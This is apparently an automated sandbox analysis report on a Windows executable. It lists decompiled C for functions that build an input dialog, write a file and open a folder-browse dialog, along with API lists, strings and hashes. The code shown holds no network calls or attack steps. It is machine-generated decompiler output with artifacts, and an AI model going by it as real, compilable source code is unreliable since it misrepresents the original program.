Instruction Fuzzy Hash: 2C219532644B054BE7289D68D8953EB7390AB84304F49093FC9A6973D1CAF9F9D6CA84

Uniqueness

Uniqueness Score: -1.00%

Function 00408F09, Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 270
windowregistrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408F09(void* __ecx, void* __edx, void* __eflags, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, signed char _a16, intOrPtr _a20) {
				struct _WNDCLASSEXW _v48;
				struct tagMSG _v76;
				short _v78;
				short _v80;
				char _v82;
				struct tagACCEL _v88;
				WCHAR* _v92;
				void* _v96;
				wchar_t* _v104;
				struct HINSTANCE__* _t48;
				WCHAR* _t51;
				struct HWND__* _t56;
				struct HWND__* _t57;
				int _t58;
				int _t62;
				struct HWND__* _t74;
				struct HWND__* _t76;
				struct HWND__* _t80;
				short _t82;
				short _t84;
				int _t105;
				WCHAR* _t110;
				struct HWND__* _t111;
				void* _t112;
				void* _t116;
				wchar_t* _t117;
				struct HACCEL__* _t122;
				int _t130;

				_t116 = __edx;
				_t112 = __ecx;
				_v96 = 0;
				_t110 = E00408DF8(_a4);
				_v92 = _t110;
				_a4 = E00408DF8(_a8);
				_t117 = E00408DF8(_a12);
				_t130 =  *0x4170c4; // 0x0
				if(_t130 == 0) {
					 *0x4170c4 = GetStockObject(0x11);
				}
				_t48 =  *0x41700c; // 0x400000
				_v48.cbSize = 0x30;
				_v48.style = 3;
				_v48.lpfnWndProc = E00408E54;
				_v48.cbClsExtra = 0;
				_v48.cbWndExtra = 0;
				_v48.hInstance = _t48;
				_v48.hIcon = LoadIconW(_t48, 1);
				_v48.hCursor = LoadCursorW(0, 0x7f00);
				_t51 =  *0x416114; // 0x412044
				_v48.lpszClassName = _t51;
				_v48.hbrBackground = 0x10;
				_v48.lpszMenuName = 0;
				_v48.hIconSm = 0;
				RegisterClassExW( &_v48);
				 *0x4170c8 = 0;
				 *0x4170d8 = E00409471(_t112);
				E00409528(1);
				_t56 =  *0x4170d8; // 0x0
				if(_t56 == 0 || IsWindowEnabled(_t56) == 0) {
					 *0x4170dc = 0;
				} else {
					EnableWindow( *0x4170d8, 0);
					 *0x4170dc = 1;
				}
				_t57 = E00409471(_t112);
				_t58 = GetSystemMetrics(1);
				asm("cdq");
				_t62 = GetSystemMetrics(0);
				asm("cdq");
				_t111 = CreateWindowExW(0,  *0x416114, _t110, 0x10c80000, (_t62 - _t116 >> 1) - 0x96, (_t58 - _t116 >> 1) - 0x41, 0x12c, 0x82, _t57, 0,  *0x41700c, 0);
				if(_t111 == 0) {
					L20:
					if(_v96 != 0) {
						goto L22;
					}
					goto L21;
				} else {
					SetWindowLongW(_t111, 0xffffffeb,  &_v96);
					_t74 = CreateWindowExW(0, L"STATIC", _a4, 0x5000000b, 0xa, 0xa, 0x118, 0x16, _t111, 0,  *0x41700c, 0);
					 *0x4170d4 = _t74;
					SendMessageW(_t74, 0x30,  *0x4170c4, 1);
					if((_a16 & 0x00000001) != 0) {
						_push(0x20);
						_pop(0);
					}
					_t76 = CreateWindowExW(0x200, L"EDIT", 0, 0x50010080, 0xa, 0x20, 0x113, 0x15, _t111, 0xa,  *0x41700c, 0);
					 *0x4170d0 = _t76;
					SendMessageW(_t76, 0x30,  *0x4170c4, 1);
					SetFocus( *0x4170d0);
					if(_t117 != 0) {
						SendMessageW( *0x4170d0, 0xc, 0, _t117);
						_push(wcslen(_t117));
						_t105 = wcslen(_t117);
						_pop(_t112);
						SendMessageW( *0x4170d0, 0xb1, _t105, ??);
					}
					_t80 = CreateWindowExW(0, L"BUTTON", L"OK", 0x50010001, 0x6e, 0x43, 0x50, 0x19, _t111, 0x3e8,  *0x41700c, 0);
					 *0x4170cc = _t80;
					SendMessageW(_t80, 0x30,  *0x4170c4, 1);
					_t82 = 0xd;
					_v88.key = _t82;
					_v88.cmd = 0x3e8;
					_t84 = 0x1b;
					_v80 = _t84;
					_v78 = 0x3e9;
					_v88.fVirt = 1;
					_v82 = 1;
					_t122 = CreateAcceleratorTableW( &_v88, 2);
					SetForegroundWindow(_t111);
					BringWindowToTop(_t111);
					while( *0x4170c8 == 0) {
						if(GetMessageW( &_v76, 0, 0, 0) == 0) {
							break;
						}
						if(TranslateAcceleratorW(_t111, _t122,  &_v76) == 0) {
							TranslateMessage( &_v76);
							DispatchMessageW( &_v76);
						}
					}
					if(_t122 != 0) {
						DestroyAcceleratorTable(_t122);
					}
					if(_v96 == 0) {
						L21:
						E0040E2A0(_t112, _a20);
						L22:
						E00408E3A(_v92);
						E00408E3A(_a4);
						return E00408E3A(_t117);
					} else {
						wcscpy(E0040E200(wcslen(_v96), _a20), _v104);
						_pop(_t112);
						HeapFree( *0x417008, 0, _v104);
						goto L20;
					}
				}
			}

0x00408f09
0x00408f09
0x00408f16
0x00408f25
0x00408f27
0x00408f37
0x00408f46
0x00408f48
0x00408f4e
0x00408f58
0x00408f58
0x00408f5d
0x00408f65
0x00408f6d
0x00408f75
0x00408f7d
0x00408f81
0x00408f85
0x00408f95
0x00408f9f
0x00408fa3
0x00408fa8
0x00408fb1
0x00408fb9
0x00408fbd
0x00408fc1
0x00408fc7
0x00408fd4
0x00408fd9
0x00408fde
0x00408fe5
0x0040900b
0x00408ff2
0x00408ff9
0x00408fff
0x00408fff
0x00409019
0x00409031
0x00409033
0x0040903e
0x00409046
0x00409061
0x00409065
0x0040925a
0x0040925f
0x00000000
0x00000000
0x00000000
0x0040906b
0x00409073
0x004090a1
0x004090b1
0x004090b9
0x004090c3
0x004090c5
0x004090c7
0x004090c7
0x004090f7
0x00409101
0x00409109
0x00409111
0x00409119
0x00409126
0x0040912f
0x00409131
0x00409136
0x00409143
0x00409143
0x0040916d
0x00409177
0x0040917f
0x00409183
0x00409184
0x00409190
0x00409195
0x00409196
0x004091a0
0x004091ac
0x004091b1
0x004091bd
0x004091bf
0x004091c6
0x0040920a
0x004091e1
0x00000000
0x00000000
0x004091f2
0x004091f9
0x00409204
0x00409204
0x004091f2
0x00409215
0x00409218
0x00409218
0x00409223
0x00409261
0x00409268
0x0040926d
0x00409271
0x0040927a
0x0040928f
0x00409225
0x00409241
0x00409247
0x00409254
0x00000000
0x00409254
0x00409223

APIs

Part of subcall function 00408DF8: wcslen.MSVCRT ref: 00408E04
Part of subcall function 00408DF8: HeapAlloc.KERNEL32(00000000,00000000,?,00408F21,?), ref: 00408E1A
Part of subcall function 00408DF8: wcscpy.MSVCRT ref: 00408E2B

GetStockObject.GDI32(00000011), ref: 00408F52
LoadIconW.USER32 ref: 00408F89
LoadCursorW.USER32(00000000,00007F00), ref: 00408F99
RegisterClassExW.USER32 ref: 00408FC1
IsWindowEnabled.USER32(00000000), ref: 00408FE8
EnableWindow.USER32(00000000), ref: 00408FF9
GetSystemMetrics.USER32 ref: 00409031
GetSystemMetrics.USER32 ref: 0040903E
CreateWindowExW.USER32 ref: 0040905F
SetWindowLongW.USER32 ref: 00409073
CreateWindowExW.USER32 ref: 004090A1
SendMessageW.USER32(00000000,00000030,00000001), ref: 004090B9
CreateWindowExW.USER32 ref: 004090F7
SendMessageW.USER32(00000000,00000030,00000001), ref: 00409109
SetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409111
SendMessageW.USER32(0000000C,00000000,00000000), ref: 00409126
wcslen.MSVCRT ref: 00409129
wcslen.MSVCRT ref: 00409131
SendMessageW.USER32(000000B1,00000000,00000000), ref: 00409143
CreateWindowExW.USER32 ref: 0040916D
SendMessageW.USER32(00000000,00000030,00000001), ref: 0040917F
CreateAcceleratorTableW.USER32(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004091B6
SetForegroundWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004091BF
BringWindowToTop.USER32(00000000), ref: 004091C6
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004091D9
TranslateAcceleratorW.USER32(00000000,00000000,?), ref: 004091EA
TranslateMessage.USER32(?), ref: 004091F9
DispatchMessageW.USER32 ref: 00409204
DestroyAcceleratorTable.USER32 ref: 00409218
wcslen.MSVCRT ref: 00409229
wcscpy.MSVCRT ref: 00409241
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409254

Strings

BUTTON, xrefs: 00409166
EDIT, xrefs: 004090ED
STATIC, xrefs: 0040909B
D A, xrefs: 00408FA3
0, xrefs: 00408F65

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Message$CreateSend$wcslen$Accelerator$HeapLoadMetricsSystemTableTranslatewcscpy$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundFreeIconLongObjectRegisterStock
String ID: 0$BUTTON$D A$EDIT$STATIC
API String ID: 54849019-3594934238
Opcode ID: 52e87966c6cca03b54c2017619d01c3975366cb43439a8209a5400c07438eea5
Instruction ID: 4016936b5c3c7f784b3cc7a4ee05ecee8f5df5742f345e72c0c18d3b3e823eb4
Opcode Fuzzy Hash: 52e87966c6cca03b54c2017619d01c3975366cb43439a8209a5400c07438eea5
Instruction Fuzzy Hash: 1E917F70648300BFE7219F61DC4AF9B7FA9FB48B44F01893EF644A61E1C7B998408B59

Uniqueness

Uniqueness Score: -1.00%

Function 00401500, Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 335
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401500(void* __edi, void* __esi, char _a4, long _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v0;
				char _v4;
				char _v8;
				char* _v12;
				char _v16;
				char _v20;
				intOrPtr _v28;
				char _v36;
				signed int _v48;
				void* __ebx;
				void* _t65;
				void* _t66;
				void* _t82;
				void* _t88;
				void* _t94;
				void* _t99;
				void* _t100;
				void* _t108;
				void* _t111;
				void* _t120;
				long _t129;
				void* _t130;
				void* _t131;
				void* _t136;
				char* _t142;
				void* _t151;
				void* _t152;
				void* _t157;
				void* _t159;
				void* _t163;
				intOrPtr _t178;
				intOrPtr _t183;
				void* _t186;
				char* _t189;
				void* _t190;
				void* _t191;
				void* _t193;
				void* _t196;
				void* _t199;
				intOrPtr _t200;
				void* _t201;
				intOrPtr _t202;
				intOrPtr _t203;
				intOrPtr _t205;
				void* _t206;
				intOrPtr _t207;
				void* _t208;
				intOrPtr _t210;
				void* _t211;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t218;
				void* _t221;
				void* _t223;
				void* _t224;
				intOrPtr _t227;
				void* _t231;

				_t224 = __esi;
				_t223 = __edi;
				_t189 = 0xb;
				do {
					_t231 = _t231 - 4;
					_v12 = 0;
					_t189 = _t189 - 1;
				} while (_t189 != 0);
				E0040DF60();
				_t169 =  *0x41708c; // 0x1
				if(_t169 != 1) {
					 *0x41708c = 1;
					_a16 = 1;
					while(1) {
						_t65 = E0040DE20();
						_t190 = _t189;
						_push(_t65);
						_t66 = E0040DE20();
						_t191 = _t190;
						E004057F0(_t169, _t223, _t224,  *0x41701c, _a16, 0x41602a, _t66);
						_push( &_v12);
						E0040DE60();
						_v12 = E00405920(_v20, 0x41602e);
						__eflags = _v12;
						if(_v12 != 0) {
							_t130 = E0040DE20();
							_t213 = _t191;
							_push(_t130);
							_t131 = E0040DE20();
							_t214 = _t213;
							E004057F0(_t169, _t223, _t224, _a4, 2, 0x41602e, _t131);
							_push( &_a8);
							E0040DE60();
							_t136 = E0040DE20();
							_t215 = _t214;
							_push(_t136);
							E004057F0(_t169, _t223, _t224, _v20, 1, 0x41602e, E0040DE20());
							E0040DE60( &_v36, _t215);
						}
						__eflags = 0;
						E00405120(0, _a4);
						if(__eflags != 0) {
							break;
						}
						asm("cdq");
						_t189 = _a16 % 2;
						__eflags = _t189;
						if(__eflags != 0) {
							_t82 = E0040DE20();
							_t193 = _t189;
							_push(_t82);
							_push(_t193);
							_push(E0040DE20());
							E00405AC0(__eflags, _a4, 1);
							E0040E020(2);
							_pop(_t186);
							E00405120(E00405160(_t186), 0x416032);
							if(__eflags == 0) {
								_t88 = E0040DE20();
								_t196 = 0x416032;
								_push(_t88);
								E00405D40(_v0, 0x416032, E0040DE20());
								E0040DE60( &_v12, _t196);
								_push(_v20);
								_t94 = E0040DE20();
								_pop(_t199);
								E0040DFC0(_t199);
								_t52 =  &_a4; // 0x249e03c
								E0040DE60(_t52, _t94);
								_push(E00405980(_v12));
								_t227 =  *0x417090; // 0x249e038
								__eflags = _t227 + _v48 * 0xc;
								_pop(_t99);
								_v0 = _t99;
								_t200 =  *0x417088; // 0x630890
								_t100 = E0040DE20();
								_t201 = _t200;
								E0040DFC0(_t201);
								_t202 =  *0x417048; // 0x639030
								E0040DFC0(_t202);
								_t203 =  *0x417064; // 0x6305f0
								E0040DFC0(_t203);
								E0040DFC0(_v48);
								_t189 = L"\r\n";
								E0040DFC0(_t189);
								E0040DE60(0x417088, _t100);
							} else {
								_t205 =  *0x417048; // 0x639030
								_t108 = E0040DE20();
								_t206 = _t205;
								_push(_t108);
								E0040DFC0(_t206);
								_t207 =  *0x417064; // 0x6305f0
								E0040DFC0(_t207);
								_t111 = E0040DE20();
								_t208 = _t207;
								_push(_t111);
								E00405D40(_v8, 0x416032, E0040DE20());
								E0040DE60( &_a4, _t208);
								E0040A665(_v4);
								_t178 =  *0x41707c; // 0x0
								__eflags = _t178 - 1;
								if(_t178 == 1) {
									_push(E00405980(_a20));
									E0040A6E5(_a20);
								}
								_push(_a24);
								E00403C3E();
								_t210 =  *0x417088; // 0x630890
								_t120 = E0040DE20();
								_t211 = _t210;
								E0040DFC0(_t211);
								E0040DFC0(_a16);
								_t189 = L"\r\n";
								E0040DFC0(_t189);
								E0040DE60(0x417088, _t120);
							}
						} else {
							_t129 = E00405980(_a4);
							_a8 = _t129;
							_v12 =  &(_v12[1]);
						}
						_t169 = _a12 + 1;
						_a12 = _a12 + 1;
					}
					_t74 = _v8;
				} else {
					_t183 =  *0x417074; // 0x0
					if(_t183 != 1) {
						L6:
						_t142 = 0;
						__eflags = 0;
					} else {
						_t183 =  *0x417060; // 0x0
						if(_t183 == 1) {
							goto L6;
						} else {
							_t142 = 1;
						}
					}
					_t74 = _t142;
					if(_t142 != 0) {
						_v20 = E00405760( *0x417088, 0x416022);
						_v16 = 1;
						while(_v12 >= _v8) {
							_t151 = E0040DE20();
							_t218 = _t189;
							_push(_t151);
							_t152 = E0040DE20();
							_t189 = _t218;
							_t3 =  &_v8; // 0x416062
							E004057F0(_t183, _t223, _t224,  *0x417088,  *_t3, L"\r\n", _t152);
							_push( &_v20);
							E0040DE60();
							_t157 = E0040249B(_v28);
							_t239 = _t157;
							if(_t157 != 0) {
								_push(_t189);
								_t159 = E0040DE20();
								E00402BFA(_t239, _v4);
								_t7 =  &_v4; // 0x416062
								E0040DE60(_t7, _t159);
								_t8 =  &_v8; // 0x416062
								_push( *_t8);
								_t163 = E0040DE20();
								_pop(_t221);
								E0040DFC0(_t221);
								_t9 =  &_v16; // 0x416062
								E0040DFC0( *_t9);
								_t189 = L"\r\n";
								E0040DFC0(_t189);
								E0040DE60( &_v20, _t163);
							}
							_t11 =  &_v8;
							 *_t11 = _v8 + 1;
							if( *_t11 >= 0) {
								continue;
							}
							break;
						}
						_a4 = E00405700(_a4);
						WriteFile( *0x417034, _v0, E00409B00(_a4),  &_a8, 0);
						E00409B20(_v0);
						_t74 = E00405068(0x417088, 0x416020);
					}
				}
				return E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(_t74, _v4), _a24), _v4), _a12), _v16);
			}

0x00401500
0x00401500
0x00401502
0x00401507
0x00401507
0x0040150a
0x00401511
0x00401511
0x00401514
0x00401519
0x00401522
0x0040165a
0x00401664
0x0040166c
0x0040166d
0x00401672
0x00401673
0x00401675
0x0040167a
0x0040168c
0x00401695
0x00401696
0x004016aa
0x004016ae
0x004016b3
0x004016b6
0x004016bb
0x004016bc
0x004016be
0x004016c3
0x004016d4
0x004016dd
0x004016de
0x004016e4
0x004016e9
0x004016ea
0x00401702
0x0040170c
0x0040170c
0x00401715
0x00401717
0x0040171c
0x00000000
0x00000000
0x0040172d
0x0040172e
0x00401732
0x00401734
0x00401762
0x00401767
0x00401768
0x00401769
0x00401770
0x0040177a
0x0040177f
0x00401789
0x00401792
0x00401797
0x00401852
0x00401857
0x00401858
0x0040186b
0x00401875
0x0040187e
0x0040187f
0x00401884
0x00401887
0x0040189b
0x0040189f
0x004018ad
0x004018b2
0x004018bb
0x004018bd
0x004018be
0x004018c1
0x004018c8
0x004018cd
0x004018d0
0x004018d5
0x004018dc
0x004018e1
0x004018e8
0x004018f2
0x004018f7
0x004018fd
0x00401909
0x0040179d
0x0040179d
0x004017a4
0x004017a9
0x004017aa
0x004017ac
0x004017b1
0x004017b8
0x004017be
0x004017c3
0x004017c4
0x004017d7
0x004017e2
0x004017eb
0x004017f0
0x004017f6
0x004017f9
0x00401804
0x00401809
0x00401809
0x0040180e
0x00401812
0x00401817
0x0040181e
0x00401823
0x00401826
0x00401830
0x00401835
0x0040183b
0x00401847
0x00401847
0x00401736
0x0040174f
0x00401750
0x00401758
0x00401758
0x00401916
0x00401917
0x00401917
0x00401920
0x00401528
0x00401528
0x00401531
0x00401545
0x00401545
0x00401545
0x00401533
0x00401533
0x0040153c
0x00000000
0x0040153e
0x0040153e
0x0040153e
0x0040153c
0x00401547
0x00401549
0x00401560
0x00401563
0x0040156d
0x0040157b
0x00401580
0x00401581
0x00401583
0x00401588
0x00401590
0x0040159a
0x004015a3
0x004015a4
0x004015ad
0x004015b2
0x004015b4
0x004015b6
0x004015b7
0x004015c2
0x004015c7
0x004015cc
0x004015d1
0x004015d5
0x004015d6
0x004015db
0x004015de
0x004015e3
0x004015e8
0x004015ed
0x004015f3
0x004015fd
0x004015fd
0x00401602
0x00401602
0x00401606
0x00000000
0x00000000
0x00000000
0x00401606
0x00401615
0x00401637
0x00401640
0x00401650
0x00401650
0x00401655
0x0040195a

APIs

WriteFile.KERNEL32(?,00000000,?,?,00000000,?), ref: 00401637

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 004057F0: wcsncmp.MSVCRT(00000000,?,?,?,?,-0000012C,?,?,004022A6,00000000,00000002,00000000,00000000,00416020,00000001,00000000), ref: 00405853
Part of subcall function 004057F0: memmove.MSVCRT ref: 004058E1
Part of subcall function 004057F0: wcsncpy.MSVCRT ref: 004058F9

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 00405920: wcsstr.MSVCRT ref: 00405961

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040DEBC

Part of subcall function 0040A665: wcsncpy.MSVCRT ref: 0040A683
Part of subcall function 0040A665: wcslen.MSVCRT ref: 0040A695
Part of subcall function 0040A665: CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A6D5

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Strings

.`A, xrefs: 0040169B
2`A, xrefs: 00401784
"`A, xrefs: 0040154F
b`A, xrefs: 0040158A
.`A, xrefs: 004016F3
*`A, xrefs: 0040167C
2`A, xrefs: 004017CD
`A, xrefs: 00401645
2`A, xrefs: 00401861
b`A, xrefs: 00401590, 004015C7, 004015D1, 004015E3, 004015CB, 004015D5, 004015DD, 004015E7
b`A, xrefs: 004018F7
b`A, xrefs: 00401835
b`A, xrefs: 004015ED
.`A, xrefs: 004016C5

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateErrorHeapLastValuewcslenwcsncpy$CreateDirectoryFileWritememmovewcsncmpwcsstr
String ID: `A$"`A$*`A$.`A$.`A$.`A$2`A$2`A$2`A$b`A$b`A$b`A$b`A$b`A
API String ID: 4088865958-588743708
Opcode ID: 6dbfea62690b127eaf24f4378f446ed451afde7462f6d2ec7042ae71204f504e
Instruction ID: ee34c1dc759ec8b9afbcc9474be159e29596370e2cc13c49719891b07a5b0ef3
Opcode Fuzzy Hash: 6dbfea62690b127eaf24f4378f446ed451afde7462f6d2ec7042ae71204f504e
Instruction Fuzzy Hash: 53B13FB5504701AED600FBA1DD8197F76A9EB98708F10C83FB044BA1E2CA3CDD599B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004092F5, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E004092F5(void* __esi, intOrPtr _a4, wchar_t* _a8, intOrPtr _a12) {
				short _v2;
				long _v520;
				wchar_t* _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				void _v552;
				_Unknown_base(*)()* _v556;
				_Unknown_base(*)()* _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				short* _t39;
				_Unknown_base(*)()* _t42;
				signed int _t47;
				wchar_t* _t56;
				int _t59;
				short _t60;
				wchar_t* _t65;
				int _t66;
				intOrPtr _t67;
				void* _t68;
				intOrPtr _t70;
				wchar_t* _t72;
				struct HINSTANCE__* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t68 = __esi;
				_t74 =  &_v560;
				_t66 = 0;
				_t77 =  *0x4170e0 - _t66; // 0x0
				if(_t77 == 0) {
					 *0x4170e0 = 1;
					__imp__CoInitialize(0);
				}
				memset( &_v552, _t66, 0x20);
				_t75 = _t74 + 0xc;
				_t73 = LoadLibraryW(L"SHELL32.DLL");
				if(_t73 == 0) {
					L12:
					_t39 = E0040E200(0x104, _a12);
					_t64 = 0;
					 *_t39 = 0;
					goto L13;
				} else {
					_push(_t68);
					_v560 = GetProcAddress(_t73, "SHBrowseForFolderW");
					_t42 = GetProcAddress(_t73, "SHGetPathFromIDListW");
					_t65 = _a8;
					_v556 = _t42;
					if(_t65 == 0) {
						_t65 = 0x412024;
					}
					wcsncpy( &_v520, _t65, 0x103);
					_v2 = 0;
					_t47 = wcslen( &_v520);
					_t76 = _t75 + 0x10;
					_t64 = 0x5c;
					if(_t47 > 3 &&  *((intOrPtr*)(_t76 + 0x36 + _t47 * 2)) == _t64) {
						_t64 = 0;
						 *((short*)(_t76 + 0x36 + _t47 * 2)) = 0;
					}
					_v540 = _a4;
					_v552 = E00409471(_t64);
					_v536 = 0x50;
					_v532 = E004092B1;
					_v528 =  &_v520;
					E00409528(1);
					_t70 = _v564( &_v556);
					_v568 = _t70;
					E00409528(_t66);
					if(_t70 != 0) {
						_t56 = E0040E200(0x104, _a8);
						_t67 = _v572;
						_t72 = _t56;
						 *_t72 = 0;
						_v568(_t67, _t72);
						__imp__CoTaskMemFree();
						_t59 = wcslen(_t72);
						_t64 = _t67;
						_t66 = _t59;
						_t60 = 0x5c;
						if( *((intOrPtr*)(_t72 + _t66 * 2 - 2)) != _t60) {
							 *((short*)(_t72 + _t66 * 2)) = _t60;
							 *((short*)(_t72 + 2 + _t66 * 2)) = 0;
							_t66 = _t66 + 1;
						}
					}
					FreeLibrary(_t73);
					if(_t66 != 0) {
						L13:
						return E0040E350(_t64, 0x104 - _t66);
					} else {
						goto L12;
					}
				}
			}

0x004092f5
0x004092f5
0x004092fe
0x00409300
0x00409306
0x00409309
0x00409313
0x00409313
0x00409321
0x00409326
0x00409334
0x0040933d
0x0040944b
0x00409453
0x00409458
0x0040945a
0x00000000
0x00409343
0x00409343
0x00409358
0x0040935c
0x0040935e
0x00409365
0x0040936b
0x0040936d
0x0040936d
0x0040937d
0x00409384
0x00409391
0x00409396
0x0040939b
0x0040939f
0x004093a8
0x004093aa
0x004093aa
0x004093b6
0x004093bf
0x004093c9
0x004093d1
0x004093d9
0x004093dd
0x004093eb
0x004093ee
0x004093f2
0x004093f9
0x00409403
0x00409408
0x0040940c
0x00409412
0x00409415
0x0040941a
0x00409421
0x00409426
0x00409427
0x0040942b
0x00409431
0x00409433
0x00409439
0x0040943e
0x0040943e
0x00409431
0x00409440
0x00409449
0x0040945d
0x0040946e
0x00000000
0x00000000
0x00000000
0x00409449

APIs

CoInitialize.OLE32(00000000), ref: 00409313

Part of subcall function 0040E350: TlsGetValue.KERNEL32(0000001B,\\?\,?,0040968D,00000104,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0040E35A

memset.MSVCRT ref: 00409321
LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040932E
GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 00409350
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 0040935C
wcsncpy.MSVCRT ref: 0040937D
wcslen.MSVCRT ref: 00409391
CoTaskMemFree.OLE32(?), ref: 0040941A
wcslen.MSVCRT ref: 00409421
FreeLibrary.KERNEL32(00000000,00000000), ref: 00409440

Strings

SHBrowseForFolderW, xrefs: 0040934A
SHELL32.DLL, xrefs: 00409329
$ A, xrefs: 0040936D
SHGetPathFromIDListW, xrefs: 00409352
P, xrefs: 004093C9

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskValuememsetwcsncpy
String ID: $ A$P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 4193992262-128120239
Opcode ID: d5588915c1d38e9502f5e4006468ea80d97d5df85f2ef6855433996e1c219f47
Instruction ID: 1392e4e60208b56ee8b10dacf4ca704cd47aacd570b2ed0dd50540f2d7556013
Opcode Fuzzy Hash: d5588915c1d38e9502f5e4006468ea80d97d5df85f2ef6855433996e1c219f47
Instruction Fuzzy Hash: 81418571504300AAC720EF759C49A9FBBE8EF88744F00483FF945E3292D779D9458B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004062B0, Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 275
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004062B0() {
				signed int _t88;
				long _t89;
				signed int _t91;
				void* _t92;
				wchar_t* _t93;
				void* _t94;
				signed short* _t98;
				void _t99;
				int _t101;
				void* _t103;
				signed int _t105;
				wchar_t* _t106;
				void* _t107;
				wchar_t* _t109;
				signed int _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t116;
				wchar_t* _t117;
				void* _t118;
				wchar_t* _t119;
				wchar_t* _t120;
				signed int _t121;
				signed short* _t122;
				void* _t123;
				signed int _t126;
				void* _t127;
				signed char _t128;
				void* _t131;
				signed int _t132;
				long* _t134;
				void* _t135;
				wchar_t* _t141;
				void* _t142;
				signed short* _t143;
				wchar_t* _t146;
				wchar_t* _t147;
				signed int _t149;
				signed int _t150;
				void* _t151;

				_t150 = 0;
				if( *(_t151 + 0x34) == 0) {
					 *(_t151 + 0x34) = 0x412024;
				}
				_t117 =  *(_t151 + 0x38);
				if(_t117 == 0) {
					_t117 = 0x412024;
					 *(_t151 + 0x38) = 0x412024;
				}
				if( *(_t151 + 0x3c) == _t150) {
					 *(_t151 + 0x3c) = 0x412024;
				}
				_t128 =  *(_t151 + 0x40);
				_t120 = 0x40530d;
				_t88 = _t128 & 0x00000001;
				 *(_t151 + 0x14) = _t88;
				if(_t88 == 0) {
					_t120 = L004052F5;
				}
				 *(_t151 + 0x40) = _t120;
				if( *(_t151 + 0x44) <= _t150) {
					 *(_t151 + 0x44) = 1;
				}
				_t147 = _t117;
				_t134 =  &(_t147[0]);
				do {
					_t89 =  *_t147;
					_t147 =  &(_t147[0]);
				} while (_t89 != 0);
				_t135 =  *(_t151 + 0x3c);
				_t149 = _t147 - _t134 >> 1;
				 *(_t151 + 0x10) = _t135 + 2;
				do {
					_t91 =  *_t135;
					_t135 = _t135 + 2;
				} while (_t91 != 0);
				_t137 = _t135 -  *(_t151 + 0x10) >> 1;
